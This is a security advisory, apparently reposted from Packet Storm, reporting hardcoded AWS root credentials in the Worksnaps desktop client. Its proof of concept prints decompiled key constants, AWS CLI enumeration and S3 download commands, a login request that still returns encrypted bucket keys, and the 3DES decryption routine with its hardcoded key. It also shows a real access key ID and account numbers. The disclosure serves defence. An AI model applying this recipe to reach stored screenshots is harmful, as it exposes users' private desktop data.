{“lastseen”:”2026-06-22T20:08:39″,”description”:”Silver Leaf Technologies – Worksnaps.net Worksnaps suffers from a hardcoded credential vulnerability. Several application binaries contained hardcoded credentials, such as AWS access keys and S3 bucket names, which granted access to the production…”,”published”:”2026-06-22T00:00:00″,”modified”:”2026-06-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Worksnaps.net Worksnaps Hardcoded Root Cloud Credentials”,”source”:””,”references”:””,”id”:”PACKETSTORM:224001″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-10560″],”sourceData”:”SEC Consult Vulnerability Lab Security Advisory \\u003c 20260618-0 \\u003e\\n =======================================================================\\n title: Hardcoded Root Cloud Credentials in Application Binaries\\n product: Silver Leaf Technologies – Worksnaps.net Worksnaps\\n vulnerable version: \\u003c1.6.20260201\\n \u00a0 \u00a0 \u00a0 fixed version: 1.6.20260201\\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-10560\\n impact: critical\\n homepage:https:\/\/www.worksnaps.net\\n found: 2025-05-21\\n by: Thorger Jansen (Office Bochum)\\n Daniel Hirschberger\\n Tobias Niemann (Office Bochum)\\n Marius Renner (Office Bochum)\\n SEC Consult Vulnerability Lab\\n \\n An integrated part of SEC Consult, an Atos business\\n Europe | Asia\\n \\n https:\/\/www.sec-consult.com\\n \\n =======================================================================\\n \\n Vendor description:\\n ——————-\\n \\”We are a small company with strong entrepreneurial spirit. We are here to\\n provide a different way of time tracking, specifically designed for remote\\n work. We believe in small teams, solid development and great design. We believe\\n that no business is too small to serve.\\”\\n \\”Worksnaps is a time-tracking system which enable verification of time and\\n work. By using Worksnaps Client, a program running on users’ desktop, the\\n users’ work activities are sampled and sent to the server. We call them\\n \\”worksnaps\\”.\\n \\n Source:https:\/\/www.worksnaps.net\/www\/index.shtml\\n Source:https:\/\/alternativeto.net\/software\/worksnaps\/about\/\\n \\n \\n Business recommendation:\\n ————————\\n The vendor provides a patch which should be installed immediately. The\\n vendor also implemented server-side fixes to remediate some identified\\n issues.\\n \\n SEC Consult highly recommends to perform a thorough security review of the\\n product conducted by security professionals to identify and resolve potential\\n further security issues.\\n \\n \\n Vulnerability overview\/description:\\n ———————————–\\n 1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)\\n Several application binaries contained hardcoded credentials, such as AWS access\\n keys and S3 bucket names, which granted access to the production environment.\\n \\n Those hardcoded AWS cloud credentials in the Worksnaps client gave an\\n attacker complete access the Worksnaps AWS infrastructure as AWS root\\n account. An attacker got access to S3 buckets with sensitive data, such as\\n screenshots of user desktops.\\n \\n \\n Proof of concept:\\n —————–\\n 1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)\\n After installing the application, there are various binaries in\\n \\”C:\\\\Program Files (x86)\\\\Worksnaps\\”.\\n \\n Several of those binaries can be analyzed by using the \\”ILSpy\\” tool and\\n contain valid credentials.\\n \\n For example the binary procUploadDirect.net45.v2.exe contains the following\\n AWS Credentials:\\n ——————————————————————————–\\n private const string DEFAULT_AWS_ACCESS_KEY = \\”[REDACTED]\\”;\\n private const string DEFAULT_AWS_SECRET_KEY = \\”[REDACTED]\\”;\\n private const string DEFAULT_REGION_NAME = \\”USEast1\\”;\\n private const string BUCKET_NAME = \\”bbbb_hyoung\\”;\\n private static string TEMP_BUCKET_NAME = \\”temp-prod\\”;\\n private static string PERM_BUCKET_NAME_FULL = \\”perm-prod\\”;\\n private static string PERM_BUCKET_NAME_THUMB = \\”perm-prod2\\”;\\n private static RegionEndpoint Region = RegionEndpoint.USEast1;\\n ——————————————————————————–\\n \\n Using these credentials several AWS actions could be performed by an attacker.\\n \\n First, the identity of the caller can be retrieved with the command\\n \\”aws sts get-caller-identity\\”:\\n ——————————————————————————–\\n $ aws sts get-caller-identity\\n {\\n \\”UserId\\”: \\”227929[REDACTED]\\”,\\n \\”Account\\”: \\”227929[REDACTED]\\”,\\n \\”Arn\\”: \\”arn:aws:iam::227929[REDACTED]:root\\”\\n }\\n ——————————————————————————–\\n \\n This shows that the credentials in use are valid and it provides key details\\n about the AWS identity, including the Account ID, User ID, and ARN (Amazon\\n Resource Name) of the entity making the call.\\n \\n Then, all S3 buckets can be listed with the command \\”aws s3api list-buckets\\”:\\n ——————————————————————————–\\n $ aws s3api list-buckets\\n {\\n \\”Buckets\\”: [\\n {\\n \\”Name\\”: \\”aws-cloudtrail-logs-[REDACTED]-ssfull\\”,\\n \\”CreationDate\\”: \\”2022-12-11T06:27:46+00:00\\”\\n },\\n […]\\n ——————————————————————————–\\n \\n This shows that the credentials in use have sufficient permissions (typically\\n s3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS\\n account. The output will include the names and creation dates of each bucket,\\n which can help identify targets of interest for further enumeration or data\\n access.\\n \\n Also, by using the command \\”describe-instances\\” an attacker can retrieve\\n detailed information about all EC2 instances in the account:\\n \\n ——————————————————————————–\\n $ aws ec2 describe-instances\\n {\\n \\”Reservations\\”: [\\n {\\n \\”ReservationId\\”: \\”[REDACTED]\\”,\\n \\”OwnerId\\”: \\”227929[REDACTED]\\”,\\n \\”Groups\\”: [],\\n \\”Instances\\”: [\\n {\\n \\”Architecture\\”: \\”x86_64\\”,\\n \\”BlockDeviceMappings\\”: [\\n {\\n \\”DeviceName\\”: \\”\/dev\/xvda\\”,\\n \\”Ebs\\”: {\\n \\”AttachTime\\”: \\”2019-05-28T02:39:54+00:00\\”,\\n \\”DeleteOnTermination\\”: true,\\n \\”Status\\”: \\”attached\\”,\\n \\”VolumeId\\”: \\”[REDACTED]61769\\”\\n }\\n }\\n ],\\n […]\\n ——————————————————————————–\\n \\n This shows that the credentials in use have the ec2:DescribeInstances permission,\\n allowing the enumeration of instance metadata such as instance IDs, public and\\n private IP addresses, and more.\\n \\n Finally, by using \\”aws s3 cp\\” an attacker could attempt to copy objects from a\\n target S3 bucket to their local system. In this case one of the generated\\n screenshots is directly fetched from the S3 bucket instead of the web\\n interface. Note: SEC Consult only requested data from our own associated\\n accounts. No data of other customers was accessed.\\n \\n ——————————————————————————–\\n $ aws s3 cp s3:\/\/ssfull-prod\/screen_754275513.jpg output.jpg\\n download: s3:\/\/ssfull-prod\/screen_754275513.jpg to .\/output.jpg\\n ——————————————————————————–\\n \\n This shows that the credentials in use have sufficient permissions (typically\\n s3:GetObject) to read and download data from the buckets. Since the buckets\\n potentially contain sensitive files, this can lead to significant data\\n exfiltration.\\n \\n UCloud credentials were also discovered alongside the AWS credentials.\\n However, their validity has not been verified:\\n \\n ——————————————————————————–\\n public static string UCLOUD_PROXY_SUFFIX = \\”.cn-sh2.ufileos.com\\”;\\n public static string UCLOUD_PUBLIC_KEY = \\”[REDACTED]\\”;\\n public static string UCLOUD_PRIVATE_KEY = \\”[REDACTED]\\”;\\n public static string UCLOUD_WORKCARD_BUCKET = \\”workcard2\\”;\\n public static string UCLOUD_WORKCARD_BUCKET_FULL = \\”workcardssfull-dev04\\”;\\n public static string UCLOUD_WORKCARD_BUCKET_SMALL =\\n \\”workcardssrepository-dev04\\”;\\n ——————————————————————————–\\n \\n \\n Update 2026-01-30\\n —————–\\n The vendor told us on 2025-12-12 that a new version of the client is available\\n on the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client\\n to re-check the vulnerability.\\n \\n The originally reported hardcoded AWS cloud credentials were removed from the\\n binary. The original credentials had also been revoked. There still are\\n hardcoded credentials present in the application binaries, but they provide a\\n lower level of access. The following AWS credentials were extracted from\\n UploadTracker.exe:\\n \\n ——————————————————————————–\\n public const string S3_AccessKey = \\”AKIAYL45N6SALVDBTCUQ\\”;\\n public const string S3_SecreKey = \\”[REDACTED]\\”\\n ——————————————————————————–\\n \\n The identity associated with the credentials can be retrieved with the command\\n \\”aws sts get-caller-identity\\”:\\n \\n ——————————————————————————–\\n $ aws sts get-caller-identity\\n {\\n \\”UserId\\”: \\”575318914176\\”,\\n \\”Account\\”: \\”575318914176\\”,\\n \\”Arn\\”: \\”arn:aws:iam::575318914176:root\\”\\n }\\n ——————————————————————————–\\n \\n SEC Consult did not perform a detailed assessment of the level of permissions\\n of these new credentials. However, at the very least, these credentials do not\\n provide access to the originally discovered S3 buckets with all screenshot\\n data.\\n \\n The client application now retrieves AWS credentials for the S3 screenshot\\n buckets from the Worksnaps server after logging in. The following code block\\n shows the login request:\\n \\n ——————————————————————————–\\n POST \/mys3\/dispatcher.php HTTP\/1.1\\n Content-Type: application\/x-www-form-urlencoded\\n User-Agent: Worksnaps Client (Windows)\\n Host:www.worksnaps.net\\n […]\\n \\n action=login\\u0026type=windows\\u0026username=[REDACTED]\\u0026mytime=3201\\u0026version=1.6\\u0026build=Build+1%2E6%2E20251206\\u0026token=[REDACTED]\\u0026branding=worksnaps\\u0026computername=[REDACTED]\\u0026os=W+Version+6%2E2%2E9200+\\u0026multiupload=1\\u0026use_urlencode=1\\u0026username2=[REDACTED]\\n ——————————————————————————–\\n \\n The server responds with the following response data. Note the bucketKey and\\n bucketKey2 fields, which contain encrypted AWS credentials.\\n \\n ——————————————————————————–\\n HTTP\/1.1 200 OK\\n Server: Apache\/2.4.62 (Unix) OpenSSL\/1.1.1k\\n X-Powered-By: PHP\/5.6.37\\n […]\\n \\n statuscode=1\\u0026sessionkey=[REDACTED]\\u0026userid=[REDACTED]\\u0026login=[REDACTED]\\u0026servertime=1769505670\\u0026timediff=1769502469\\u0026lb_url=\\u0026project=\\u0026use_activitytracker=0\\u0026use_uploadtracker=0\\u0026screenfilter=\\u0026appnamefilter=\\u0026cachetime=180\\u0026capturetimeout=20\\u0026directupload=1\\u0026directupload_ver=2\\u0026uploadurl=http:\/\/upload.worksnaps.com\/mys3\/prod_uploadworksnapscom\/u_agent.php|http:\/\/apac.worksnaps.com\/mys3\/prod_apacworksnapscom\/u_agent.php\\u0026bucketKey=[REDACTED encrypted bucket key 1]\\u0026bucketKey2=[REDACTED encrypted bucket key 2]\\u0026bucketName0=sstemp-prod\\u0026bucketName1=ssfull-prod\\u0026bucketName2=ssrepository-prod\\u0026testmode=0\\u0026auth_method=token\\u0026debug=0\\u0026firstslotprobability=-1\\u0026httptype=std\\u0026sysmessage_title=\\u0026sysmessage_body=\\u0026sysmessage_shutdown=\\n ——————————————————————————–\\n \\n The encrypted bucketKey can be easily decrypted by extracting the decryption\\n algorithm and corresponding 3DES encryption key from the client binary\\n procUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:\\n \\n ——————————————————————————–\\n private static string WORKWELL = \\”workwell\\”;\\n private static string AMAZON = \\”AMAZON\\”;\\n private static string SUFFIX = \\”@P66668888\\”;\\n \\n public static string Decrypt(string input)\\n {\\n \u2003\u2003string text = TripleDESEncryption.WORKWELL\\n + TripleDESEncryption.AMAZON\\n + TripleDESEncryption.SUFFIX;\\n \u2003\u2003string workwell = TripleDESEncryption.WORKWELL;\\n \u2003\u2003TripleDES tripleDES = TripleDES.Create();\\n \u2003\u2003tripleDES.IV = Encoding.ASCII.GetBytes(workwell);\\n \u2003\u2003tripleDES.Key = Encoding.ASCII.GetBytes(text);\\n \u2003\u2003tripleDES.Mode = CipherMode.CBC;\\n \u2003\u2003tripleDES.Padding = PaddingMode.Zeros;\\n \u2003\u2003ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();\\n \u2003\u2003byte[] array = TripleDESEncryption.Decoder(input);\\n \u2003\u2003byte[] array2 = cryptoTransform.TransformFinalBlock(array, 0, array.Length);\\n \u2003\u2003return Encoding.ASCII.GetString(array2);\\n }\\n ——————————————————————————–\\n \\n Decrypting the bucketKey using this algorithm once again yields AWS\\n credentials. The identity associated with the credentials can be retrieved with\\n the command \\”aws sts get-caller-identity\\”:\\n \\n ——————————————————————————–\\n $ aws sts get-caller-identity\\n {\\n \\”UserId\\”: \\”AIDATKENJDUESTBAMYUIN\\”,\\n \\”Account\\”: \\”227929562377\\”,\\n \\”Arn\\”: \\”arn:aws:iam::227929562377:user\/worksnapss3_10\\”\\n }\\n ——————————————————————————–\\n \\n Once again, all accessible S3 buckets can be listed with the command\\n \\”aws s3api list-buckets\\”:\\n \\n ——————————————————————————–\\n $ aws s3api list-buckets\\n {\\n \\”Buckets\\”: [\\n […]\\n {\\n \\”Name\\”: \\”ssfull-prod\\”,\\n \\”CreationDate\\”: \\”2011-11-18T23:41:06+00:00\\”,\\n \\”BucketArn\\”: \\”arn:aws:s3:::ssfull-prod\\”\\n },\\n […]\\n ]\\n }\\n ——————————————————————————–\\n \\n The credentials also still allow downloading screenshots as demonstrated in the\\n original advisory. Note: SEC Consult only requested data from our own\\n associated accounts. No data of other customers was accessed.\\n \\n ——————————————————————————–\\n $ aws s3 cp s3:\/\/ssfull-prod\/screen_754275513.jpg output.jpg\\n download: s3:\/\/ssfull-prod\/screen_754275513.jpg to .\/output.jpg\\n ——————————————————————————–\\n \\n In summary the removal of the hardcoded credentials did not improve the\\n situation, as the client now receives credentials with a similarly\\n high level of access during the login process instead.\\n \\n \\n Update 2026-02-21\\n —————–\\n The vendor told us on 2026-02-05 that a new version of the client is available\\n on the website. On 2026-02-14 we downloaded version 1.6.20260201 of the client\\n to re-check the vulnerability.\\n \\n The procUploadDirect.net45.v2.exe is no longer included. The binary\\n procUploadDirectURL.exe is now used to upload the screenshot to the S3 bucket.\\n The required signed AWS upload URL is fetched via the API.\\n \\n It is however possible to still retrieve the encrypted S3 credentials from\\n the API by ommiting or setting the use_puturl parameter during the login\\n request to 0:\\n ——————————————————————————–\\n POST \/mys3\/dispatcher.php HTTP\/1.1\\n Content-Type: application\/x-www-form-urlencoded\\n Host:www.worksnaps.net\\n […]\\n \\n action=login\\u0026type=windows\\u0026username=[REDACTED]\\u0026mytime=18\\u0026version=1.6\\u0026build=Build+1%2E6%2E20260201\\u0026use_puturl=0\\u0026token=[REDACTED]\\u0026branding=worksnaps\\u0026computername=[REDACTED]\\u0026os=W+Version+6%2E2%2E9200+\\u0026multiupload=1\\u0026use_urlencode=1\\u0026username2=[REDACTED]\\n ——————————————————————————–\\n \\n As before, the API responds with the encrypted S3 credentials:\\n ——————————————————————————–\\n HTTP\/1.1 200 OK\\n Content-Type: text\/html; charset=UTF-8\\n Content-Length: 960\\n […]\\n \\n statuscode=1\\u0026sessionkey=[REDACTED]\\u0026userid=[REDACTED]\\u0026login=[REDACTED]\\u0026servertime=[REDACTED]\\u0026timediff=[REDACTED]\\u0026\\u0026project=\\u0026use_activitytracker=0\\u0026use_uploadtracker=0\\u0026screenfilter=\\u0026appnamefilter=\\u0026cachetime=180\\u0026capturetimeout=20\\u0026directupload=1\\u0026directupload_ver=3\\u0026uploadurl=http:\/\/upload.worksnaps.com\/mys3\/prod_uploadworksnapscom\/u_agent.php|http:\/\/apac.worksnaps.com\/mys3\/prod_apacworksnapscom\/u_agent.php\\u0026bucketKey=[REDACTED bucketKey1]\\u0026bucketKey2=[REDACTED bucketKey2]\\u0026bucketName0=sstemp-prod\\u0026bucketName1=ssfull-prod\\u0026bucketName2=ssrepository-prod\\u0026testmode=0\\u0026auth_method=token\\u0026debug=0\\u0026firstslotprobability=-1\\u0026httptype=std\\u0026sysmessage_title=\\u0026sysmessage_body=\\u0026sysmessage_shutdown=\\n ——————————————————————————–\\n \\n The decryption process is the same as before. After decryption the\\n same AWS credentials as before were obtained.\\n \\n According to the vendor, they implemented further server-side mitigations\\n to fix this issue.\\n \\n \\n Vulnerable \/ tested versions:\\n —————————–\\n The following versions have been tested:\\n \\n * Original advisory: Windows client version 1.6.20250304\\n * Update 2026-01-30: Windows client version 1.6.20251206\\n * Update 2026-02-21: Windows client version 1.6.20260201\\n \\n The vendor introduced server-side fixes later on, hence the\\n client version 1.6.20260201 already contains the necessary patches.\\n \\n \\n Vendor contact timeline:\\n ————————\\n 2025-07-09: Initial mail to the vendor (info@worksnaps.net;support@worksnaps.net).\\n No response.\\n 2025-08-22: Sent reminder via mail, no response.\\n 2025-09-16: Submitted a support ticket #40137 viahttps:\/\/worksnaps.freshdesk.com\/support\/tickets\/new\\n Asking for a security contact. No response.\\n 2025-11-03: Informing vendor of our public release of the advisory on 20th November,\\n assigned CVE-2025-10560.\\n 2025-11-03: Vendor apologizes to have our emails miscategorized by support staff.\\n We should send our advisory to a specific person.\\n 2025-11-04: Sending security advisory. Vendor contact responds, they will do an internal\\n investigation regarding next steps.\\n 2025-11-10: We receive a detailed investigation of the issue and an action plan,\\n we agree to extend the deadline for one month until 2025-12-20. Asking\\n a few architectural questions regarding the hardcoded keys.\\n 2025-11-11: Vendor answers our questions and we follow-up regarding the removal of\\n the hardcoded AWS root keys.\\n 2025-11-14: Vendor is working the issues and will provide an update.\\n 2025-12-12: Vendor informs us that a new version of the Worksnaps client is\\n available on the website and asks us to re-check the\\n vulnerability.\\n 2025-12-19: Vendor asks us about the approaching disclosure deadline as we were\\n not able to re-check the vulnerability yet.\\n 2025-12-19: We inform the vendor that we are not able to perform the re-check\\n in December due to the approaching holidays. We also assure that we\\n will not initiate public disclosure before re-checking. We commit\\n to providing a response in January 2026.\\n 2026-01-30: Sending updated security advisory to vendor. Core issue is still unfixed.\\n 2026-02-04: Vendor has reviewed our updated advisory and are working on a solution.\\n Updated package is planned to be released shortly.\\n 2026-02-05: Vendor provides an updated version, implemented pre-signed PUT URLs,\\n removed executables with now obsolete credentials.\\n 2026-02-17: Vendor asks if we had time to review the patch.\\n 2026-02-18: Informing vendor about delay of patch review due to customer projects,\\n also proposing recheck for next potential iterations as it is still unfixed.\\n Vendor asks for extension of deadline because of holidays.\\n 2026-02-21: Sending updated security advisory to vendor. Core issue is still unfixed\\n due to legacy API functionality.\\n 2026-02-23: Vendor thanks us for the update and will review the issue again.\\n 2026-02-27: Vendor contact will be on vacation soon, asks for extension of deadline.\\n Setting up a call with the vendor for 4th March.\\n 2026-03-25: Following up with vendor regarding remedation.\\n 2026-03-30: Vendor responds with steps already taken.\\n 2026-03-31: Giving additional time to complete remediation activities\\n 2026-06-15: Informing vendor about upcoming release date, asking for affected\/fixed\\n version numbers.\\n 2026-06-16: Vendor clarifies patched version and provides further details regarding\\n already implemented server-side fixes. Sending advisory draft to vendor.\\n 2026-06-18: Public release of security advisory.\\n \\n \\n Solution:\\n ———\\n The vendor provides a patched version 1.6.20260201 (or higher) which should be\\n installed immediately. It can be downloaded from the vendor’s website:\\n https:\/\/www.worksnaps.net\/www\/download.shtml\\n \\n Furthermore, server-side fixes have been implemented according to the vendor\\n which mitigate the identified security issues.\\n \\n \\n Workaround:\\n ———–\\n None\\n \\n \\n Advisory URL:\\n ————-\\n https:\/\/sec-consult.com\/vulnerability-lab\/\\n \\n \\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n \\n SEC Consult Vulnerability Lab\\n An integrated part of SEC Consult, an Atos business\\n Europe | Asia\\n \\n About SEC Consult Vulnerability Lab\\n The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\\n Atos business. It ensures the continued knowledge gain of SEC Consult in the\\n field of network and application security to stay ahead of the attacker. The\\n SEC Consult Vulnerability Lab supports high-quality penetration testing and\\n the evaluation of new offensive and defensive technologies for our customers.\\n Hence our customers obtain the most current information about vulnerabilities\\n and valid recommendation about the risk profile of new technologies.\\n \\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n Interested to work with the experts of SEC Consult?\\n Send us your applicationhttps:\/\/sec-consult.com\/career\/\\n \\n Interested in improving your cyber security with the experts of SEC Consult?\\n Contact our local officeshttps:\/\/sec-consult.com\/contact\/\\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n \\n Mail: security-research at sec-consult dot com\\n Web:https:\/\/www.sec-consult.com\\n Blog:https:\/\/blog.sec-consult.com\\n X:https:\/\/x.com\/sec_consult\\n \\n EOF Thorger Jansen, Daniel Hirschberger, Tobias Niemann, Marius Renner \/ @2026″,”sourceHref”:”https:\/\/packetstorm.news\/download\/224001″,”cvss”:{“score”:9.3,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:N\/SI:H\/VA:N\/SA:H”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/224001\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-22T20:08:39″,”description”:”Silver Leaf Technologies – Worksnaps.net Worksnaps suffers from a hardcoded credential vulnerability. Several application binaries contained hardcoded credentials, such as AWS access keys and S3…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,13,53,7,11,5],"class_list":["post-64890","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n